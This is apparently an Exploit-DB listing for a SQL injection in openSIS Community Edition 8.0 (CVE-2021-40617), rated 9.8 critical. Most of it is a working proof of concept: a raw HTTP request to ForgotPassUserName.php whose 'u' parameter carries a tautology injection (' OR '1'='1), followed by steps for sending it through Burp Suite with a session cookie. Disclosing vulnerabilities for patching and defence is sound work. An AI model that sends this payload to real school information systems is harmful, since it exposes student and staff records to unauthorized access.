EXPLOITDB 9.8 CRITICAL

openSIS Community Edition 8.0 – SQL Injection_EDB-ID:52447

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Exploit Title: openSIS Community Edition 8.0 - SQL Injection Date: 2025-11-25 Exploit Author: CodeSecLab Vendor Homepage: https://github.com/OS4ED/openSIS-Classic Software Link: https://github.com/OS4ED/openSIS-Classic Version: 8.0 Tested on: Windows...
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Basic Information

ID EDB-ID:52447
Published Dec 3, 2025 at 00:00

Affected Product

Affected Versions # Exploit Title: openSIS Community Edition 8.0 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/OS4ED/openSIS-Classic
# Software Link: https://github.com/OS4ED/openSIS-Classic
# Version: 8.0
# Tested on: Windows
# CVE : CVE-2021-40617


Proof Of Concept
GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1
Host: opensis
Connection: close



Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
Observe the result

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